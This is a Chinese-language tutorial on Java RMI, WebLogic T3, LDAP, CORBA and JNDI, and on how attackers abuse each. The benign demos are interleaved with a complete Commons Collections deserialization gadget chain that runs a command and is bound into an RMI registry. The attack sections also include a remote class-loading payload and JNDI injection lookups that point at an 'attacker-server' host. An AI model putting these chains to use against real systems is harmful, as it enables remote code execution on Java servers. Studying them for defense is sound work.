RMI、LDAP、CORBA與JNDI攻擊

1. RMI

1.1 JAVA RMI

1.1.1 基本概念

RMI(Remote Method Invocation,遠程方法調用)。遠程方法調用是分布式編程中的一個基本思想,實現遠程方法調用的技術有CORBA、WebService等(這兩種獨立于編程語言)。RMI則是專門為JAVA設計,依賴JRMP通訊協議。
RMI可以使我們引用遠程主機上的對象,將JAVA對象作為參數傳遞,而這些對象要可以被序列化。就像C語言中有RPC(remote procedure calls )使遠程主機上執行C函數并返回結果??梢员贿h程調用的對象必須實現java.rmi.Remote接口,其實現類必須繼承UnicastRemoteObject類。如果不繼承UnicastRemoteObject類,則需要手工初始化遠程對象,在遠程對象的構造方法的調用UnicastRemoteObject.exportObject()靜態方法

import java.rmi.*;

public interface RemoteObject extends Remote { 
    public Widget doSomething( ) throws RemoteException; 
    public Widget doSomethingElse( ) throws RemoteException; 
}

不繼承UnicastRemoteObject類的DEMO

public class HelloImpl implements IHello {//IHello是客戶端和服務端公用接口
    protected HelloImpl() throws RemoteException {
        UnicastRemoteObject.exportObject(this, 0);
    }
    @Override
    public String sayHello(String name) {//HelloImpl是一個服務端遠程對象,提供了一個sayHello方法供遠程調用。
        System.out.println(name);
        return name;
    }
}

1.1.2 RMI遠程調用過程

RMI對于遠程對象是將其Stub(類似引用/代理,包含遠程對象的定位信息,如Socket端口、服務端主機地址等)傳遞??蛻舳丝梢韵裾{用本地方法一樣通過Stub調用遠程方法。


RMI遠程調用邏輯

客戶端發起請求,請求轉交至RMI客戶端的stub類,stub類將請求的接口、方法、參數等信息進行序列化,然后基于tcp/ip將序列化后的流傳輸至服務器端,轉至skeleton類,該類將請求的信息反序列化后調用實際的類進行處理,然后再將處理結果返回給skeleton類,skeleton類將結果序列化,通過tcp/ip將流傳送給客戶端的stub,stub接收到流后將其反序列化,再將反序列化后的Java Object返回給調用者。

(1)Stub獲取方式
Stub的獲取方式有很多,常見的方法是調用某個遠程服務上的方法,向遠程服務獲取存根。但是調用遠程方法又必須先有遠程對象的Stub,所以這里有個死循環問題。JDK提供了一個RMI注冊表(RMIRegistry)來解決這個問題。RMIRegistry也是一個遠程對象,默認監聽在1099端口上,可以使用代碼啟動RMIRegistry,也可以使用rmiregistry命令。要注冊遠程對象,需要RMI URL和一個遠程對象的引用。

IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);//人工創建RMI注冊服務
Naming.bind("rmi://0.0.0.0:1099/hello", rhello);

LocateRegistry.getRegistry()會使用給定的主機和端口等信息本地創建一個Stub對象作為Registry遠程對象的代理,從而啟動整個遠程調用邏輯。服務端應用程序可以向RMI注冊表中注冊遠程對象,然后客戶端向RMI注冊表查詢某個遠程對象名稱,來獲取該遠程對象的Stub。
(2)遠程調用邏輯

Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
RMI調用流程

(3)動態加載類
RMI核心特點之一就是動態加載類,如果當前JVM中沒有某個類的定義,它可以從遠程URL去下載這個類的class,java.rmi.server.codebase屬性值表示一個或多個URL位置,可以從中下載本地找不到的類,相當于一個代碼庫。動態加載的對象class文件可以使用Web服務的方式(如http://、ftp://、file://)進行托管??蛻舳耸褂昧伺cRMI注冊表相同的機制。RMI服務端將URL傳遞給客戶端,客戶端通過HTTP請求下載這些類。

無論是客戶端還是服務端要遠程加載類,都需要滿足以下條件:
a.由于Java SecurityManager的限制,默認是不允許遠程加載的,如果需要進行遠程加載類,需要安裝RMISecurityManager并且配置java.security.policy,這在后面的利用中可以看到。
b.屬性 java.rmi.server.useCodebaseOnly 的值必需為false。但是從JDK 6u45、7u21開始,java.rmi.server.useCodebaseOnly 的默認值就是true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前虛擬機的java.rmi.server.codebase 指定路徑加載類文件。使用這個屬性來防止虛擬機從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性。

(4)JAVA RMI Demo

//接口
public interface Hello extends Remote {
    public String echo(String message) throws RemoteException;
}
//接口類實現
public class HelloImpl implements Hello {
    @Override
    public String echo(String message) throws RemoteException {
        if ("quit".equalsIgnoreCase(message.toString())) {
            System.out.println("Server will be shutdown!");
            System.exit(0);
        }
        System.out.println("Message from client: " + message);
        return "Server response:" + message;
    }
}
//server端
public class Server {
    public static void main(String[] args) throws Exception {
        String name = "hello";
        Hello hello = new HelloImpl();
        // 生成Stub
        UnicastRemoteObject.exportObject(hello, 1199);
        /*
        設置java.rmi.server.codebase
        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
        如果需要使用RMI的動態加載功能,需要開啟RMISecurityManager,并配置policy以允許從遠程加載類庫
        System.setProperty("java.security.policy", Server.class.getClassLoader().getResource("java.policy").getFile());
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);
         */
        // 創建本機 1099 端口上的RMI registry
        Registry registry = LocateRegistry.createRegistry(1199);
        //如果registry已存在
        Registry reg = LocateRegistry.getRegistry();
        // 對象綁定到注冊表中
        registry.rebind(name, hello);
    }
}
//client端
public class Client {
    public static void main(String[] args) throws Exception {
        // 獲取遠程主機上的注冊表
        Registry registry = LocateRegistry.getRegistry("localhost", 1199);
        String name = "hello";
        // 獲取遠程對象
        Hello hello = (Hello) registry.lookup(name);
        while (true) {
            Scanner sc = new Scanner(System.in);
            String message = sc.next();
            // 調用遠程方法
            hello.echo(message);
            if (message.equals("quit")) {
                break;
            }
        }
    }
}

1.2 JAVA RMI與Weblogic RMI

RMI是基于JRMP協議的,而Weblogic RMI是基于T3協議(也有基于CORBA的IIOP協議)。WebLogic RMI是WebLogic對Java RMI的實現,它們之間的不同在于(1)WebLogic的字節碼生成功能會自動生成服務端的字節碼到內存。不再生成Skeleton骨架對象,也不需要使用UnicastRemoteObject對象(2)在WebLogic RMI 客戶端中,字節碼生成功能會自動為客戶端生成代理對象,因此Stub也不再需要。
T3傳輸協議是WebLogic的自有協議,它有如下特點:(1)服務端可以持續追蹤監控客戶端是否存活(心跳機制),通常心跳的間隔為60秒,服務端在超過240秒未收到心跳即判定與客戶端的連接丟失。(2)通過建立一次連接可以將全部數據包傳輸完成,優化了數據包大小和網絡消耗。

1.2.1 Weblogic RMI Demo

和RMI類似,先創建服務端對象接口和實現類

public interface IHello extends java.rmi.Remote {
    String sayHello() throws RemoteException;
}
public class HelloImpl implements IHello {
    public String sayHello() {
        return "Hello Remote World!!";
    }
}

上文提到,服務端不再需要Skeleton對象和UnicastRemoteObject對象,服務端代碼如黃框所示。


server端對比

客戶端中也不再需要stub


client端對比

1.2.2 Weblogic T3 協議

RMI的Client與Service交互采用JRMP協議,而Weblogic RMI采用T3協議

T3協議數據包

WebLogic RMI調用時T3協議握手后的數據包,包含不止一個序列化魔術頭(0xac 0xed 0x00 0x05),每個序列化數據包前面都有相同的二進制串(0xfe 0x01 0x00 0x00),每個數據包上面都包含了一個T3協議頭,前4個字節正好對應著數據包長度

1.3 RMI反序列化漏洞

RMI使用反序列化機制來傳輸Remote對象,那么如果是個惡意的對象,在服務器端進行反序列化時便會觸發反序列化漏洞。如果此時服務端存在Apache Commons Collections這種庫,就會導致遠程命令執行。即Runtime.getRuntime().exec(“calc”)等語句。
該庫中含有一個接口類叫做Tranesformer,其實現類有ChainedTransformer、ConstantTransformer、InvokerTransformer、CloneTransformer、ClosureTransformer、ExceptionTransformer、FactoryTransformer、InstantiateTransformer、MapTransformer、NOPTransformer、PredicateTransformer、StringValueTransformer、SwitchTransformer。前三個可以在反序列化攻擊中進行利用,其本身功能及關鍵代碼如下

//InvokerTransformer構造函數接受三個參數,并通過反射執行一個對象的任意方法
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    public Object transform(Object input) {
         Class cls = input.getClass();
         Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
         return method.invoke(input, this.iArgs);
    }
//ConstantTransformer構造函數接受一個參數,并返回傳入的參數
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return this.iConstant;
    }
//ChainedTransformer構造函數接受一個Transformer類型的數組,并返回傳入數組的每一個成員的Transformer方法
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }

將上述函數組合起來構造遠程命令執行鏈

Transformer[] transformers_exec = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
chain.transform('1');

那么接下來的問題就是,真實環境中如何觸發ChainedTransformer.transform,有兩個類調用了transform方法,LazyMap和TransformedMap。TransformedMap中的調用流程為setValue ==> checkSetValue ==> valueTransformer.transform(value),所以如果用TransformedMap調用transform方法,需要生成一個TransformedMap然后修改Map中的value值即可觸發,上述執行鏈添加如下部分

Transformer chainedTransformer = new ChainedTransformer(transformers_exec);
Map inMap = new HashMap();
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");

如果用LazyMap調用transform方法,調用流程為get==>factory.transform(key),但是這些也還是需要手動調用去修改值。要自動觸發需要執行readObject()方法,所用的類為AnnotationInvocationHandler,該類是JAVA運行庫中的一個類,這個類有一個成員變量memberValues是Map類型,并且類中的readObject()函數中對memberValues的每一項調用了setValue()函數,完整代碼如下

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map inMap = new HashMap();//創建一個含有Payload的惡意map
        inMap.put("key", "value");
        Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//創建一個含有惡意調用鏈的Transformer類的Map對象

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//獲取AnnotationInvocationHandler類對象
        Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });//獲取AnnotationInvocationHandler類的構造方法
        ctor.setAccessible(true); // 設置構造方法的訪問權限
        Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });

        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(instance);
        oos.flush();
        oos.close();

        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        // 觸發代碼執行
        Object newObj = ois.readObject();
        ois.close();

在RMI中利用,即在反序列化基礎上,加入如下代碼

        InvocationHandler h = (InvocationHandler) instance;// 實例化AnnotationInvocationHandler
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[]{Remote.class},
                h));
        try{
            Registry registry = LocateRegistry.getRegistry(port);
            registry.rebind("hello", r); // r is remote obj
        }
        catch (Throwable e) {
            e.printStackTrace();
        }

另外對于RMI服務攻擊,可以使用URLClassLoader方法回顯。
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");

2. LDAP

LDAP(Lightweight Directory Access Protocol ,輕型目錄訪問協議)是一種目錄服務協議,運行在TCP/IP堆棧之上。目錄服務是一個特殊的數據庫,用來保存描述性的、基于屬性的詳細信息(如企業員工信息:姓名、電話、郵箱等,公用證書、安全密鑰、物理設備信息等),能進行查詢、瀏覽和搜索,以樹狀結構組織數據。LDAP以樹結構標識所以不能像表格一樣用SQL語句查詢,它“讀”性能很強,但“寫”性能較差,并且沒有事務處理、回滾等復雜功能,不適于存儲修改頻繁的數據。
LDAP目錄和RMI注冊表的區別在于是前者是目錄服務,并允許分配存儲對象的屬性。

2.1 LDAP基本概念

條目Entry
條目也叫記錄項,就像數據庫中的記錄。是LDAP增刪改查的基本對象。
dn(distinguished Name,唯一標識名),每個條目都有一個唯一標識名??梢钥醋鲗ο蟮娜窂剑琑DN則是其中的一段路徑(靠前的一段),剩余路徑則成為父標識(PDN)。
屬性Attribute
每個條目都有很多屬性(Attribute),每個屬性都有名稱及對應的值。屬性包含cn(commonName姓名)、sn(surname姓)、ou(organizationalUnitName部門名稱)、o(organization公司名稱)等。每個屬性也都有唯一的屬性類型。
對象類ObjectClass
對象類(ObjectClass)是屬性的集合,包含結構類型(Structural)、抽象類型(Abstract)和輔助類型(Auxiliary)等。比如單位職工類可能包含姓sn、名cn、電話telephoneNumber等。模式(Schema)則是對象類的集合。

LDAP目錄結構

2.2 LDAP攻擊

    <dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>2.3.8</version>
    </dependency>
public class LDAPSeriServer {

      private static final String LDAP_BASE = "dc=example,dc=com";
      public static void main(String[] args) throws IOException {
          int port = 1389;
          try {
              InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
              config.setListenerConfigs(new InMemoryListenerConfig(
                      "listen", //$NON-NLS-1$
                      InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                      port,
                      ServerSocketFactory.getDefault(),
                      SocketFactory.getDefault(),
                      (SSLSocketFactory) SSLSocketFactory.getDefault()));
              config.setSchema(null);
              config.setEnforceAttributeSyntaxCompliance(false);
              config.setEnforceSingleStructuralObjectClass(false);
              InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
              ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
              ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
              ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

              System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
              ds.startListening();

          } catch (Exception e) {
              e.printStackTrace();
          }
      }
  }
  public class LDAPClient1 {
      public static void main(String[] args) throws NamingException {
          System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
          Context ctx = new InitialContext();
          Object object =  ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
      }
  }

3. CORBA

3.1 CORBA概述

CORBA全稱(Common ObjectRequest Broker Architecture)也就是公共對象請求代理體系結構,是OMG(對象管理組織,一個非盈利性的計算機行業標準協會)制定的一種標準的面向對象應用程序體系規范。其提出是為了解決不同應用程序間的通信,曾是分布式計算的主流技術。
CORBA標準主要分為三個部分,IDL(接口語言)、ORB(對象請求代理)、IIOP(ORB之間的操作協議)。
其結構主要分為三部分:naming service、client side、servant side。它們的關系可以理解成目錄(naming service)與章節內容(servant side)的關系,內容需要現在目錄里進行注冊。
CORBA和Java都采用面向對象技術,并且都適用于開發分布式應用,所不同的是:CORBA偏重于通用的分布式應用開發,而Java注重于WWW環境中的分布式應用開發。

3.2 基礎概念

IDL(Interface Definition Language,接口定義語言),它是一種與編程語言無關的對于接口描述的規范,實現跨語言跨環境遠程對象調用。CORBA用的就是基于IDL的OMG IDL(對象管理標準化接口定義語言)

CORBA中的“ORB”(ObjectRequest Broker,對象請求代理)是一個中間件/代理,建立起服務端與客戶端的關系調用。對象可以在本地也可以在其他服務器上,ORB截獲客戶的調用操作,并查找實現服務的對象,傳遞參數,調用方法并返回結果。

GIOP(General Inter-ORB Protocol ,通用對象請求協議),是CORBA用來進行數據傳輸的協議,針對不同的通訊層有不同的實現。而對于TCP/IP層,其實現名為IIOP(Internet Inter-ORB Protocol),也可以說IIOP是通過TCP協議傳輸的GIOP數據。

3.3 Demo

3.3.1 過程分析

naming service
ORBD可以理解為ORB的守護進程,其主要負責建立客戶端(client side)與服務端(servant side)的關系,同時負責查找指定的IOR(可互操作對象引用,是一種數據結構,是CORBA標準的一部分)。ORBD是由Java原生支持的一個服務,其在整個CORBA通信中充當著naming service的作用。

CORBA流程

IOR
IOR是一種數據結構,提供關于類型、協議支持和可用ORB服務的信息。它通常提供獲取對象的初始引用的方法,可以是命名服務(naming service)、事務服務(transaction services),也可以是定制的CORBA服務。

IOR結構

Stub生成
Stub有很多種生成方式,如:
(1)獲取NameServer然后后通過resolve_str()方法生成(NameServer生成方式)

Properties properties = new Properties();
properties.put("org.omg.CORBA.ORBInitialHost", "127.0.0.1");
properties.put("org.omg.CORBA.ORBInitialPort", "1050");
ORB orb = ORB.init(args, properties);
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
String name = "Hello";
helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));

(2)使用ORB.string_to_object生成(ORB生成方式)

//第一種
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello");
Hello hello = HelloHelper.narrow(obj);
//第二種
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050");
NamingContextExt ncRef = NamingContextExtHelper.narrow(obj);
Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello"));

(3)使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)

ORB orb = ORB.init(args, null);
Hashtable env = new Hashtable(5, 0.75f);
env.put("java.naming.corba.orb", orb);
Context ic = new InitialContext(env);
Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));

3.3.2 Helloworld Demo

如果要開發一個CORBA的Helloworld,創建一個helloworld.idl

//helloworld.idl
module helloworld{ //module對應了java中的package
   interface HelloWorld{
      string sayHello();
   };
};

在java命令行下執行idlj -fall helloworld.idl將IDL語言翻譯成JAVA語言,生成server和client端代碼,然后會生成_HelloWorldStub.java(實現了HelloWorld接口)、HelloWorld.java(未實現接口)、HelloWorldHelper.java(包含幫助函數,用于處理通過網絡傳輸的對象)、HelloWorldHolder.java、HelloWorldOperations.java(IDL聲明的接口)、HelloWorldPOA.java(server的實現接口)。POA(Portable Object Adapter),是CORBA規范的一部分,該類中的方法可以將對象注冊到naming service上。

public class HelloServer {
    public static void main(String[] args) throws ServantNotActive, WrongPolicy, InvalidName, AdapterInactive, org.omg.CosNaming.NamingContextPackage.InvalidName, NotFound, CannotProceed {
        //指定ORB的端口號 -ORBInitialPort 1050
        args = new String[2];
        args[0] = "-ORBInitialPort";
        args[1] = "1050";
         
        //創建一個ORB實例
        ORB orb = ORB.init(args, null);
         
        //拿到RootPOA的引用,并激活POAManager,相當于啟動了server
        org.omg.CORBA.Object obj=orb.resolve_initial_references("RootPOA");
        POA rootpoa = POAHelper.narrow(obj);
        rootpoa.the_POAManager().activate();
         
        //創建一個HelloWorldImpl實例
        HelloWorldImpl helloImpl = new HelloWorldImpl();
        
        //從服務中得到對象的引用,并注冊到服務中
        org.omg.CORBA.Object ref = rootpoa.servant_to_reference(helloImpl);
        HelloWorld href = HelloWorldHelper.narrow(ref);
         
        //得到一個根名稱的上下文
        org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
        NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
        
        //在命名上下文中綁定這個對象
        String name = "Hello";
        NameComponent path[] = ncRef.to_name(name);
        ncRef.rebind(path, href);
        
        //啟動線程服務,等待客戶端調用
        orb.run();
        
        System.out.println("server startup...");
    }
public class HelloClient {
    static HelloWorld helloWorldImpl;
     
    static {
        //初始化ip和端口號,-ORBInitialHost 127.0.0.1 -ORBInitialPort 1050
        String args[] = new String[4];
        args[0] = "-ORBInitialHost";
        //server端的IP地址,在HelloServer中定義的
        args[1] = "127.0.0.1";
        args[2] = "-ORBInitialPort";
        //server端的端口,在HelloServer中定義的
        args[3] = "1050";
         
        //創建一個ORB實例
        ORB orb = ORB.init(args, null);
         
        // 獲取根名稱上下文
        org.omg.CORBA.Object objRef = null;
        try {
        objRef = orb.resolve_initial_references("NameService");
        } catch (InvalidName e) {
            e.printStackTrace();
        }
        NamingContextExt neRef = NamingContextExtHelper.narrow(objRef);
         
        String name = "Hello";
        try {
            //通過ORB拿到了server實例化好的實現類
            helloWorldImpl = HelloWorldHelper.narrow(neRef.resolve_str(name));
        } catch (NotFound e) {
            e.printStackTrace();
        } catch (CannotProceed e) {
            e.printStackTrace();
        } catch (org.omg.CosNaming.NamingContextPackage.InvalidName e) {
            e.printStackTrace();
        }
    }
     
    public static void main(String args[]) throws Exception {
        sayHello();
    }
     
    //調用實現類的方法
    public static void sayHello() {
        String str = helloWorldImpl.sayHello();
        System.out.println(str);
    }

4. JNDI

4.1 JNDI基本概念

JNDI(Java Naming and DIrecroty Interface),是java命名與目錄接口,JNDI包括Naming Service和Directory Service,通過名稱來尋找數據和對象的API,也稱為一種綁定。JNDI可訪問的現有的目錄及服務有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

//web.xml
<Environment name="jndiName" value="jndiValue" type="java.lang.String" />
//index.jsp
  <%
      Context ctx=new InitialContext();
      String testjndi=(String) ctx.lookup("java:comp/env/jndiName");
      out.print(testjndi);
  %>

Naming Service:命名服務是將名稱與值相關聯的實體,稱為綁定。通過find/search操作根據名稱查找對象。上述的RMI Registry就是使用的Naming Service。
Directory Service:是一種特殊的Naming Service,允許存儲和搜索“目錄對象”,目錄對象可以與屬性相關聯。一個目錄是一個類似樹的分層結構庫。LDAP就是用的Directory Service。

4.2 RMI與JNDI

JNDI提供了與不同類型的服務交互的公共接口。但其自身不區分客戶端和服務端,也不具備遠程能力。JNDI在客戶端上主要進行訪問、查詢和檢索等,在服務端主要進行配置管理等,比如在RMI服務端上不直接使用Registry進行bind而使用JNDI統一管理。
JNDI架構如下圖,Naming Manager包含用于創建上下文對象和對象的靜態方法。服務器提供者接口(SPI)允許JNDI管理不同的服務。


JNDI Architecture
JNDI Remote Class Loading

JNDI接口在初始化時,可以將RMI URL作為參數傳入,而JNDI注入就出現在客戶端的lookup()函數中,如果lookup()的參數可控就可能被攻擊

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider對應的Factory
env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test")

//將名稱refObj與一個對象綁定,這里底層也是調用的rmi的registry去綁定
ctx.bind("refObj", new RefObject());
//通過名稱查找對象
ctx.lookup("refObj");

在JNDI服務中,RMI服務端除了直接綁定遠程對象之外(JAVA序列化傳輸對象到遠程服務器),還可以通過命名引用的方式通過綁定,由命名管理器進行解析的一個引用。引用由References類來綁定一個外部的遠程對象(當前名稱目錄系統之外的對象)。綁定了Reference之后,服務端會先通過Referenceable.getReference()獲取綁定對象的引用,并且在目錄中保存。當客戶端在lookup()查找這個遠程對象時,客戶端會獲取相應的object factory,最終通過factory類將reference轉換為具體的對象實例。

Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);

4.3 JNDI動態協議轉換

JNDI除了與RMI搭配使用,還可以與LDAP、CORBA等,JNDI與LDAP配合使用方式如下:

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
 "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);
//通過名稱查找遠程對象,假設遠程服務器已經將一個遠程對象與名稱cn=foo,dc=test,dc=org綁定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

這是手動設置服務工廠及PROVIDER_URL的方式,JNDI還提供協議的動態轉換,即使我們不設置上述內容,如果ctx.lookup("rmi://attacker-server/refObj");執行便自動轉換對應服務。

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
        "rmi://localhost:9999");
Context ctx = new InitialContext(env);
String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
//通過名稱查找對象
ctx.lookup(name);

此處的lookup中的參數如果可控就可以根據攻擊者提供的URL進行動態轉換。

4.4 JDNI注入

JNDI注入是BlackHat 2016(USA)@pentester 的一個議題"A Journey From JNDI LDAP Manipulation To RCE"提出的。

根據上述demo可以發現JNDI注入流程是(以RMI為例),如果目標代碼中調用了InitialContext.lookup(URI),且URI為用戶可控->攻擊者控制URI參數為惡意的RMI服務地址,如:rmi://hacker_rmi_server//name->攻擊者RMI服務器向目標返回一個Reference對象,Reference對象中指定某個精心構造的Factory類->目標在進行lookup()操作時,會動態加載并實例化Factory類,接著調用factory.getObjectInstance()獲取外部遠程對象實例;->攻擊者可以在Factory類文件的構造方法、靜態代碼塊、getObjectInstance()方法等處寫入惡意代碼,達到RCE的效果。調用鏈為:RegistryContext.decodeObject()->NamingManager.getObjectInstance()-> factory.getObjectInstance()

JNDI主要的攻擊向量有:RMI、JNDI Reference、Remote Object、LDAP、Serialized Object、JNDI Reference、Remote Location、CORBA、IOR


JNDI in action

(1)JNDI Reference+RMI

public class RMIServer1 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(9999);
//        Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName為類名加上包名,FactoryClassName為工廠類名并且包含工廠類的包名
        Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}
public class RMIClient1 {
    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                 "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,
                "rmi://localhost:9999");
        Context ctx = new InitialContext();
        ctx.lookup("rmi://localhost:9999/refObj");
    }
}

當運行lookup函數時,RegistryContext.decodeObject() 會被調用,然后調用NamingManager.getObjectInstance() 進行實例化,最終返回Reference,然后getObjectFactoryFromReference() 會從Reference中得到實例化的類。攻擊者可以提供自己的工廠類,一旦實例化就會運行payload。

整個攻擊過程為:攻擊者為JNDI lookup提供了一個絕對的RMI URL,然后服務器連接到攻擊者控制的RMI注冊表,該注冊表將返回惡意的JNDI引用,服務器解碼JNDI引用后從攻擊者控制的服務器獲取工廠類,進行實例化的時候payload執行。所以此攻擊方式可以用于 Spring's JndiTemplate或Apache’s Shiro JndiTemplate 等調用InitialContext.lookup()的情況。

(2)JNDI+LDAP
Naming Manager在JAVA對象(JAVA序列化、JNDI references等)解析運行時可能造成RCE,DirContext.lookup() JNDI注入和“LDAP Entry Poisoning”的主要區別是,對于前者,攻擊者就可以使用自己的LDAP服務器,對于后者,攻擊者需要攻擊LDAP服務器條目,與應用程序交互時等待期返回被攻擊條目的屬性。

攻擊過程為:攻擊者為JND lookup提供了一個絕對LDAP URL,服務器連接到攻擊者控制的LDAP服務器,該服務器返回惡意的JNDI引用。服務器解碼JNDI引用從攻擊者控制的服務器獲取工廠類,實例化工廠類時payload得以執行。

LDAP Entry Poisoning
LDAP攻擊主要針對于屬性而非對象,例如,用lookup方法查找對象時,search()方法是在檢索LDAP條目的所需屬性(例如:用戶名、密碼、電子郵件等),當只請求屬性時,就不會有可能危及服務器的Java對象解碼。然而,如果應用程序執行搜索操作,并將returnObjFlag設置為true,那么控制LDAP響應的攻擊者將能夠在應用服務器上執行任意命令。

(3)JNDI+CORBA
org.omg.CORBA.Object read_Object會對IOR進行解析

public org.omg.CORBA.Object read_Object(Class clz)  {
        // In any case, we must first read the IOR.     
    IOR ior = IORFactories.makeIOR(parent);     
    if (ior.isNil())      return null;
    PresentationManager.StubFactoryFactory sff = ORB.getStubFactoryFactory();
    String codeBase = ior.getProfile().getCodebase();   <1>            
    PresentationManager.StubFactory stubFactory = null; 
    if (clz == null) {          
        RepositoryId rid = RepositoryId.cache.getId(ior.getTypeId());   <2>        
        String className = rid.getClassName();          
        boolean isIDLInterface = rid.isIDLType();

         if (className == null || className.equals( "" ))  stubFactory = null;          
        else                
            try {  <3>
                stubFactory = sff.createStubFactory(className,  isIDLInterface, codeBase, (Class)null, (ClassLoader)null);  
            } 
            catch (Exception exc) {                
                stubFactory = null;
            }
        else if (StubAdapter.isStubClass( clz )) {
            stubFactory = PresentationDefaults.makeStaticStubFactory(clz);      
        } else {           
              // clz is an interface class
              boolean isIDL = IDLEntity.class.isAssignableFrom( clz ) ; 
          stubFactory = sff.createStubFactory( clz.getName(),isIDL, codeBase, clz, clz.getClassLoader() ) ;     
        }   
    return internalIORToObject( ior, stubFactory, orb ) ;   
}

攻擊者可以手工創建一個IOR,該IOR指定在他控制下的代碼庫位置<1>和IDL接口<2>,即存根工廠的位置。然后,它可以將運行有效負載的存根工廠類放在其構造函數中,并在目標服務器<3>中實例化存根,從而成功地運行payload

